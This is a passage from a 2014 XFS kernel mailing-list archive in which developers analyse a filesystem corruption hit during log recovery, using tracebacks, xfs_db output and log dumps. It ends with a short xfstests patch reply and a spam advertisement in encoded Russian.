xlog_recover_process_efi(), the EFD will never happened because of the xfs_free_extent error. A manual removal of the EFI from the AIL in these cases has to be done. Christoph's proposed EFI/EFD recovery changed will not change the need to remove the EFI from the AIL in recovery because at this point he does put the EFI on the AIL. Case 2 is a bit trickier. The EFI has a matching EFD. The EFI makes it to AIL but the EFD is on the CIL when there is a forced shutdown. The EFD will not remove the EFI in this case. We cannot check if the EFI on the AIL in the iop_{committed | unlink} for EFI/EFD pairs that on the CIL at forced shutdown because the check would be a use after free on the EFI. The EFD being aborted on a bad xlog buffer write is another path, but that is pretty much the same as the case #2. > I captured a post-reboot xfs_metadump before attempting any other operations > on the partition. It is here: > > https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_metadump-before-repair.gz > > Attempting to mount in order to replay the log resulted in mount hanging, > and another traceback, as follows: > > [ 921.672867] XFS (dm-9): Mounting Filesystem > [ 921.707326] XFS (dm-9): Starting recovery (logdev: internal) > [ 921.721596] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa035d905 > [ 921.721607] CPU: 3 PID: 8569 Comm: mount Not tainted 3.14.0-rc3+ #1 > [ 921.721610] Hardware name: FUJITSU PRIMERGY RX300 S7/D2939-A1, BIOS V4.6.5.3 R1.19.0 for D2939-A1x 12/06/2012 > [ 921.721614] 0000000000069ff9 ffff88102698fb30 ffffffff815f1eb5 0000000000000001 > [ 921.721625] ffff88102698fb48 ffffffffa0343c7b ffffffffa035d905 ffff88102698fbe0 > [ 921.721632] ffffffffa035c399 ffff881021928800 ffff881017847900 ffff881029304f00 > [ 921.721639] Call Trace: > [ 921.721650] [] dump_stack+0x45/0x56 > [ 921.721713] [] xfs_error_report+0x3b/0x40 [xfs] > [ 921.721746] [] ? xfs_free_extent+0xc5/0xf0 [xfs] > [ 921.721820] [] xfs_free_ag_extent+0x1e9/0x710 [xfs] > [ 921.721877] [] xfs_free_extent+0xc5/0xf0 [xfs] > [ 921.721912] [] xlog_recover_process_efi+0x170/0x1b0 [xfs] > [ 921.721948] [] ? xfs_trans_ail_cursor_init+0x24/0x30 [xfs] > [ 921.721981] [] xlog_recover_process_efis.isra.27+0x64/0xb0 [xfs] > [ 921.722023] [] xlog_recover_finish+0x21/0xb0 [xfs] > [ 921.722055] [] xfs_log_mount_finish+0x34/0x50 [xfs] > [ 921.722082] [] xfs_mountfs+0x47d/0x710 [xfs] > [ 921.722109] [] xfs_fs_fill_super+0x2b2/0x330 [xfs] > [ 921.722121] [] mount_bdev+0x194/0x1d0 > [ 921.722161] [] ? xfs_parseargs+0xbd0/0xbd0 [xfs] > [ 921.722190] [] xfs_fs_mount+0x15/0x20 [xfs] > [ 921.722200] [] mount_fs+0x39/0x1b0 > [ 921.722208] [] ? __alloc_percpu+0x10/0x20 > [ 921.722219] [] vfs_kern_mount+0x67/0x100 > [ 921.722226] [] do_mount+0x23e/0xad0 > [ 921.722233] [] ? strndup_user+0x4b/0xf0 > [ 921.722240] [] SyS_mount+0x83/0xc0 > [ 921.722248] [] system_call_fastpath+0x16/0x1b > [ 921.722262] XFS (dm-9): Failed to recover EFIs > [ 921.722266] XFS (dm-9): log mount finish failed The unmount from this failed recovery could hang also see case #1 above. > > I ran xfs_repair -n; the output is here: > > https://dl.dropboxusercontent.com/u/31522929/xfs_repair-n-output > > xfs_repair with no args failed because there was still content in the logs. > > xfs_repair -L succeeded; the output is here: > > https://dl.dropboxusercontent.com/u/31522929/xfs_repair-L-output > > Afterwards I was able to mount the file system and start Oracle from it. > Interesting. > Regards, > Morgan Mears --Mark. From david@fromorbit.com Wed Mar 12 18:02:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4FE8D7F59 for ; Wed, 12 Mar 2014 18:02:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 504108F8081 for ; Wed, 12 Mar 2014 16:02:52 -0700 (PDT) X-ASG-Debug-ID: 1394665365-04cb6c56774d7ac0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 5q94YVdRnadCs1PP for ; Wed, 12 Mar 2014 16:02:46 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ag1nAIjmIFN5LJYePGdsb2JhbABZgwY7qTQEmHmBIRcDAQEBAR8ZDSiCJQEBAQMBOhwjBQsIAxgJAyIPBSUDBxoTh3EHDtMEFxaORgeDJIEUBIsMgWSLVIQcgy2OJik Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 09:32:44 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNsAb-0000x7-HI; Thu, 13 Mar 2014 10:02:41 +1100 Date: Thu, 13 Mar 2014 10:02:41 +1100 From: Dave Chinner To: "Mears, Morgan" Cc: "xfs@oss.sgi.com" Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ Message-ID: <20140312230241.GE6851@dastard> X-ASG-Orig-Subj: Re: Possible XFS bug encountered in 3.14.0-rc3+ References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394665365 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3825 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Wed, Mar 12, 2014 at 08:14:32PM +0000, Mears, Morgan wrote: > Hi, > > Please CC me on any responses; I don't subscribe to this list. > > I ran into a possible XFS bug while doing some Oracle benchmarking. My test > system is running a 3.14.0-rc3+ kernel built from the for-next branch of > git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git > on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). > > The XFS instance in question is 200 GB and should have all default > parameters (mkfs.xfs /dev/mapper/). It contains Oracle > binaries and trace files. At the time the issue occurred I had been > running Oracle with SQL*NET server tracing enabled. The affected XFS > had filled up 100% with trace files several times; I was periodically > executing rm -f * in the trace file directory, which would reduce the > file system occupancy from 100% to 3%. I had an Oracle load generating > tool running, so new log files were being created with some frequency. > > The issue occurred during one of my rm -f * executions; afterwards the > file system would only produce errors. Here is the traceback: > > [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 So, freeing a range that is already partially free. The problem appears to be in AG 15, according to the repair output. > https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_metadump-before-repair.gz AGF 15 is full: xfs_db> agf 15 xfs_db> p magicnum = 0x58414746 versionnum = 1 seqno = 15 length = 3276783 bnoroot = 1 cntroot = 2 bnolevel = 1 cntlevel = 1 flfirst = 0 fllast = 3 flcount = 4 freeblks = 1 longest = 1 btreeblks = 0 uuid = 00000000-0000-0000-0000-000000000000 lsn = 0 crc = 0 And the one free block (other than the minimum 4 on teh AGFL) is: xfs_db> p magic = 0x41425442 level = 0 numrecs = 1 leftsib = null rightsib = null recs[1] = [startblock,blockcount] 1:[3119876,1] But: data fork in ino 940862056 claims dup extent, off - 11, start - 58836692, cnt 1 correcting nextents for inode 940862056 bad data fork in inode 940862056 would have cleared inode 940862056 the block number here is in AG 14, which has much more free space: xfs_db> p magicnum = 0x58414746 versionnum = 1 seqno = 14 length = 3276783 bnoroot = 1 cntroot = 2 bnolevel = 1 cntlevel = 1 flfirst = 42 fllast = 45 flcount = 4 freeblks = 2092022 longest = 2078090 btreeblks = 0 which is in 2 extents: xfs_db> a bnoroot xfs_db> p magic = 0x41425442 level = 0 numrecs = 2 leftsib = null rightsib = null recs[1-2] = [startblock,blockcount] 1:[102466,13932] 2:[116476,2078090] xfs_db> convert agno 14 agbno 102466 fsb 0x3819042 (58822722) xfs_db> convert agno 14 agbno 116476 fsb 0x381c6fc (58836732) and so 58836692 is just short of the second free space. Looking at all the other dup extent claims, they a remostly adjacent to the left edge of these two free spaces. No surprise - that's the way allocation occurs. So, we've got a state where the allocation btree contains a corruption, so a shutdown occurs. The log has captured that corruption when it was made, so log recovery reintroduces that corruption. And so when the extent is freed after log recovery, the corruption is tripped over again. There's two checkpoints in the log, both very small. The last modification to AGI 14 is there before it: BUF: cnt:2 total:2 a:0x669350 len:24 a:0x6693d0 len:128 BUF: #regs:2 start blkno:0x15dff891 len:1 bmap size:1 flags:0x2800 AGF Buffer: (XAGF) ver:1 seq#:14 len:3276783 root BNO:1 CNT:2 level BNO:1 CNT:1 1st:42 last:45 cnt:4 freeblks:2092020 longest:2078090 As is the freespace btree buffer modification: BUF: cnt:2 total:2 a:0x669460 len:24 a:0x6694e0 len:128 BUF: #regs:2 start blkno:0x15dff898 len:8 bmap size:1 flags:0x2000 BUF DATA 0 42544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 2000000 magic = BTBA level = 0 numrecs = 4 leftsib = NULLFSBLOCK rightsib = NULLFSBLOCK rec[0] = 0x162cb, 1 (90827,1) rec[1] = 0x17cfc, 2 (97532,1) 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 5000000 rec[2] = 0x19047, 0x3667 (102471,13927) rec[3] = 0x1c6fc, 0x1fb58a (116476,2078090) so, from the pre-recovery case above, we've got two new freespaces in rec[0-1], rec[2] has 5 blocks removed from the left edge, and rec[3] is unchanged. Confirming the ABTC buffer contains the same extents: BUF: cnt:2 total:2 a:0x669570 len:24 a:0x6695f0 len:128 BUF: #regs:2 start blkno:0x15dff8a0 len:8 bmap size:1 flags:0x2000 BUF DATA 0 43544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 2000000 magic = CTBA level = 0 numrecs = 4 leftsib = NULLFSBLOCK rightsib = NULLFSBLOCK rec[0] = 0x162cb, 1 (90827,1) rec[1] = 0x17cfc, 2 (97532,1) 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 5000000 rec[2] = 0x19047, 0x3667 (102471,13927) rec[3] = 0x1c6fc, 0x1fb58a (116476,2078090) 10 8ca0100 8000000 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 18 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 It does. So the btrees contain consistent information, and so it's unlikely that we have a free space btree corruption in the log. So let's look at what was freed: The EFI/EFDs in the log are: EFI: cnt:1 total:1 a:0x668670 len:32 EFI: #regs:1 num_extents:1 id:0xffff881496024af0 (s: 0x38162cb, l: 1) EFD: cnt:1 total:1 a:0x6684d0 len:32 EFD: #regs: 1 num_extents: 1 id: 0xffff881496024af0 .... EFI: cnt:1 total:1 a:0x667da0 len:32 EFI: #regs:1 num_extents:1 id:0xffff8814960244b0 (s: 0x3817cfc, l: 1) EFD: cnt:1 total:1 a:0x65fbd0 len:32 EFD: #regs: 1 num_extents: 1 id: 0xffff8814960244b0 .... EFI: cnt:1 total:1 a:0x669250 len:32 EFI: #regs:1 num_extents:1 id:0xffff881496024000 (s: 0x3817cfd, l: 1) EFD: cnt:1 total:1 a:0x6692d0 len:32 EFD: #regs: 1 num_extents: 1 id: 0xffff881496024000 These are all in ag#14, and have agbnos of 0x162cb, 0x17cfc and 0x17cfd. This corresponds exactly to the two new records in the AG btree. The one remaining EFI doesn't have an EFD in th elog, so this is what is being replayed: EFI: cnt:1 total:1 a:0x669f40 len:32 EFI: #regs:1 num_extents:1 id:0xffff881496024640 (s: 0x3869ff9, l: 1) Which is at agbno 0x69ff9 (434169). That's off to the right of the start of the last freespace range in rec[3]. rec[3] starts at 0x1c6fc and ends at 0x1fb58a. That means this efi clearly lands inside that freespace range - it's not an edge case, it's deep in the interior of the freespace range. The inode logged just before the EFI - likely it's owner: INO: cnt:2 total:2 a:0x668040 len:56 a:0x667fb0 len:96 INODE: #regs:2 ino:0x3862d698 flags:0x1 dsize:0 CORE inode: magic:IN mode:0x81b0 ver:2 format:2 onlink:0 uid:1001 gid:1001 nlink:0 projid:0 atime:1394495104 mtime:1394495104 ctime:1394554526 flushiter:1 size:0x0 nblks:0x0 exsize:0 nextents:0 anextents:0 forkoff:13 dmevmask:0x0 dmstate:0 flags:0x0 gen:-121998876 Is an unlinked inode that has had all it's block removed. Yup - it's on the unlinked list: agi unlinked bucket 24 is 6477464 in ag 14 (inode=946001560) So, prior to recovery, what did it contain? it's got 287 bytes of date, and a single extent: u.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,59154425,1,0] xfs_db> convert fsb 59154425 agno 0xe (14) xfs_db> convert fsb 59154425 agbno 0x69ff9 (434169) Ok, so the corruption, whatever it was, happened a long time ago, and it's only when removing the file that it was tripped over. There's nothing more I can really get from this - the root cause of the corruption is long gone. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 12 18:06:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4FC277F5D for ; Wed, 12 Mar 2014 18:06:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 07A89AC003 for ; Wed, 12 Mar 2014 16:06:35 -0700 (PDT) X-ASG-Debug-ID: 1394665593-04bdf05dac502e60001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id W6Kvb4KtkIj5FtPK for ; Wed, 12 Mar 2014 16:06:33 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvBCALXnIFN5LJYePGdsb2JhbABZgwaIUroagSEXAwEBAQEfGQ0ogiUBAQEEOhwjEAgDGAklDwUlAwcaE4d40xUXFo5GB4MkgRQBA5hElW8p Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 13 Mar 2014 09:36:32 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WNsEJ-0000y4-Qh; Thu, 13 Mar 2014 10:06:31 +1100 Date: Thu, 13 Mar 2014 10:06:31 +1100 From: Dave Chinner To: Mark Tinguely Cc: "Mears, Morgan" , Jie Liu , "xfs@oss.sgi.com" Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ Message-ID: <20140312230631.GF6851@dastard> X-ASG-Orig-Subj: Re: Possible XFS bug encountered in 3.14.0-rc3+ References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <5320D4FE.3070002@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5320D4FE.3070002@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394665593 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3826 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 12, 2014 at 04:43:26PM -0500, Mark Tinguely wrote: > On 03/12/14 15:14, Mears, Morgan wrote: > >I was unable to umount, even with -f; failed with EBUSY and couldn't unbusy > >as the fs was unresponsive (and happens to contain the Oracle management > >tools necessary to close all open descriptors). Accordingly I rebooted. > > You are the second person in 2-3 weeks to hit this unmount issue. > Unmatched EFI in the AIL keeps the unmount from completing. > > Jeff are you still looking at this? I'd say the answer is no. Last time you pointed out this problem I last asked you to provide patches to fix the problem, mark. Can you please provide patches to fix this, Mark? Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Wed Mar 12 18:14:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 39C167F61 for ; Wed, 12 Mar 2014 18:14:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D6E6FAC002 for ; Wed, 12 Mar 2014 16:14:11 -0700 (PDT) X-ASG-Debug-ID: 1394666049-04cbb054b72dd2b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id OoSBEhwHUAzlSKLT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 12 Mar 2014 16:14:10 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s2CNDdfP012668 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 12 Mar 2014 23:13:40 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2CNDdZv015459 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Mar 2014 23:13:39 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s2CNDduv015456; Wed, 12 Mar 2014 23:13:39 GMT Received: from [192.168.1.102] (/119.179.91.50) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 12 Mar 2014 16:13:39 -0700 Message-ID: <5320EA20.7000807@oracle.com> Date: Thu, 13 Mar 2014 07:13:36 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Christoph Hellwig CC: "xfs@oss.sgi.com" Subject: Re: [PATCH v2] xfstests: shared/051: add filter to match the golden output for large acls References: <531FC057.70804@oracle.com> <20140312103230.GA4167@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: shared/051: add filter to match the golden output for large acls In-Reply-To: <20140312103230.GA4167@infradead.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1394666050 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3826 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 03/12 2014 18:32 PM, Christoph Hellwig wrote: >> +# we return E2BIG if hit the max acl limits on new kernel, but EINVAL >> +# on old kernel. So we need to filter the error message out in order >> +# to make the current golden output works for both old and new kernels. > > Hate to nitpick, but shouldn't the new one be in the golden output and > the old one fixed up? Exactly, I'll post a fix. Thanks, -Jeff From info@latvijosimoniukatalogas.lt Wed Mar 12 19:13:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 768A87F66 for ; Wed, 12 Mar 2014 19:13:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B41D8F80A1 for ; Wed, 12 Mar 2014 17:13:13 -0700 (PDT) X-ASG-Debug-ID: 1394669589-04bdf05dab506df0001-NocioJ Received: from ip-212-52-50-196.kava.lt (ip-46-251-54-149.kava.lt [46.251.54.149]) by cuda.sgi.com with ESMTP id yDPpPvGslA5yEzoz for ; Wed, 12 Mar 2014 17:13:10 -0700 (PDT) X-Barracuda-Envelope-From: info@latvijosimoniukatalogas.lt X-Barracuda-Apparent-Source-IP: 46.251.54.149 Received: from computer3 ([192.168.22.208]) by ip-212-52-50-196.kava.lt (Microsoft SMTPSVC(6.0.3790.3959)) with SMTP id VDCZOLEZ Reply-To: From: "Belarus Business Database" To: "xfs" Subject:=?utf-8?B?INCR0LXQu9Cw0YDRg9GB0Ywg0JHQsNC30LAg0LTQsNC90L3Ri9GF?= Message-ID: <9cf5a958215bf14a8897091a16e5fcce@192.168.1.2> X-ASG-Orig-Subj: =?utf-8?B?INCR0LXQu9Cw0YDRg9GB0Ywg0JHQsNC30LAg0LTQsNC90L3Ri9GF?= Date: Thu, 13 Mar 2014 02:11:50 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0001_38099B6C.CE851D4B" X-Priority: 1 X-Mailer: Microsoft Office Outlook 12.0 X-Barracuda-Connect: ip-46-251-54-149.kava.lt[46.251.54.149] X-Barracuda-Start-Time: 1394669589 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FH_HELO_EQ_D_D_D_D, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 FH_HELO_EQ_D_D_D_D Helo is d-d-d-d 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS This is a multi-part message in MIME format. ------=_NextPart_000_0001_38099B6C.CE851D4B Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable =D0=94=D0=BE=D0=B1=D1=80=D1=8B=D0=B9 =D0=B4=D0=B5=D0=BD=D1=8C,=0D=0A = =0D=0A =0D=0A=D0=9D=D0=B0=D1=88=D0=B0 =D0=BA=D0=BE=D0=BC=D0=BF=D0=B0=D0= =BD=D0=B8=D1=8F =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D0=B8= =D1=82 =D1=84=D0=B8=D1=80=D0=BC=D0=B5=D0=BD=D0=BD=D1=8B=D0=B9 =D0=BA=D0= =B0=D1=82=D0=B0=D0=BB=D0=BE=D0=B3. =D0=9F=D1=80=D0=B5=D0=B4=D0=BB=D0=BE= =D0=B3=D0=B0=D0=B5=D0=BC =D0=B2=D0=B0=D0=BC =D0=BF=D0=BE=D0=BA=D1=83=D0= =BF=D0=B0=D1=82=D1=8C =D0=B1=D0=B5=D0=BB=D0=BE=D1=80=D1=83=D1=81=D1=81= =D0=BA=D0=B8=D1=85 =D0=BF=D1=80=D0=B5=D0=B4=D0=BF=D1=80=D0=B8=D1=8F=D1= =82=D0=B8=D1=8F =D0=B1=D0=B0=D0=B7=D0=B0.=0D=0A=D0=91=D0=B0=D0=B7=D0=B0= =D0=A0=D0=B5=D1=81=D0=BF=D1=83=D0=B1=D0=BB=D0=B8=D0=BA=D0=B8 =D0=91=D0= =B5=D0=BB=D0=B0=D1=80=D1=83=D1=81=D1=8C =D1=81=D0=B4=D0=B5=D0=BB=D0=B0= =D0=BD=D0=BD=D0=BE =D0=B2 2012 =D0=B3=D0=BE=D0=B4.=0D=0A =0D=0A=D0=91=D0= =B0=D0=B7=D0=B5 =D0=B1=D0=B8=D0=B7=D0=BD=D0=B5=D1=81-=D0=B4=D0=B0=D0=BD= =D0=BD=D1=8B=D1=85 =D0=91=D0=B5=D0=BB=D0=B0=D1=80=D1=83=D1=81=D1=8C:=0D= =0A=D0=9D=D0=B0=D0=B7=D0=B2=D0=B0=D0=BD=D0=B8=D0=B5 =D0=BA=D0=BE=D0=BC= =D0=BF=D0=B0=D0=BD=D0=B8=D0=B8 69'000=0D=0A=D0=90=D0=B4=D1=80=D0=B5=D1= =81 69'000=0D=0A=D0=93=D0=BE=D1=80=D0=BE=D0=B4 69'000=0D=0A=D0=A2=D0=B5= =D0=BB=D0=B5=D1=84=D0=BE=D0=BD =D0=AD=D0=BB. 69'000=0D=0A=D0=9A=D0=B0=D1= =82=D0=B5=D0=B3=D0=BE=D1=80=D0=B8=D0=B8 69'000=0D=0A=D0=A2=D0=B0=D0=BA= =D0=B6=D0=B5 =D0=B4=D0=BE=D0=B1=D0=B0=D0=B2=D0=BB=D1=8F=D0=B5=D0=BC = 100.000+ =D0=BF=D0=BE=D1=87=D1=82=D0=BE=D0=B9 =D0=B8=D0=B7 =D0=91=D0=B5= =D0=BB=D0=B0=D1=80=D1=83=D1=81=D0=B8 =E2=80=93 2014=D0=B3.=0D=0A =0D=0A= =D0=AD=D1=82=D0=BE =D0=B1=D1=83=D0=B4=D0=B5=D1=82 =D1=81=D1=82=D0=BE=D0= =B8=D1=82=D1=8C 99 =D0=B4=D0=BE=D0=BB=D0=BB=D0=B0=D1=80=D0=BE=D0=B2.=0D= =0A =0D=0A =0D=0A =0D=0A=D0=A1 =D1=83=D0=B2=D0=B0=D0=B6=D0=B5=D0=BD=D0= =B8=D0=B5=D0=BC,=0D=0A=D0=A0=D1=83=D0=BA=D0=BE=D0=B2=D0=BE=D0=B4=D0=B8= =D1=82=D0=B5=D0=BB=D1=8C =D0=BF=D0=BE =D0=BF=D1=80=D0=BE=D0=B4=D0=B0=D0= =B6=D0=B0=D0=BC=0D=0A=D0=94=D0=B5=D0=BD=D0=B8=D1=81 =D0=9A=D0=BE=D0=B2= =D0=B0=D0=BB=D1=8C=D1=81=D0=BA=D0=B8=D1=81 ------=_NextPart_000_0001_38099B6C.CE851D4B Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable =0D=0A=0D=0A=0D=0A=0D=0A=0D=0A

=D0=94=D0=BE=D0=B1=D1=80=D1=8B=D0=B9  =D0=B4=D0=B5=D0=BD=D1=8C,

=0D=0A

 

=0D=0A

 

= =0D=0A

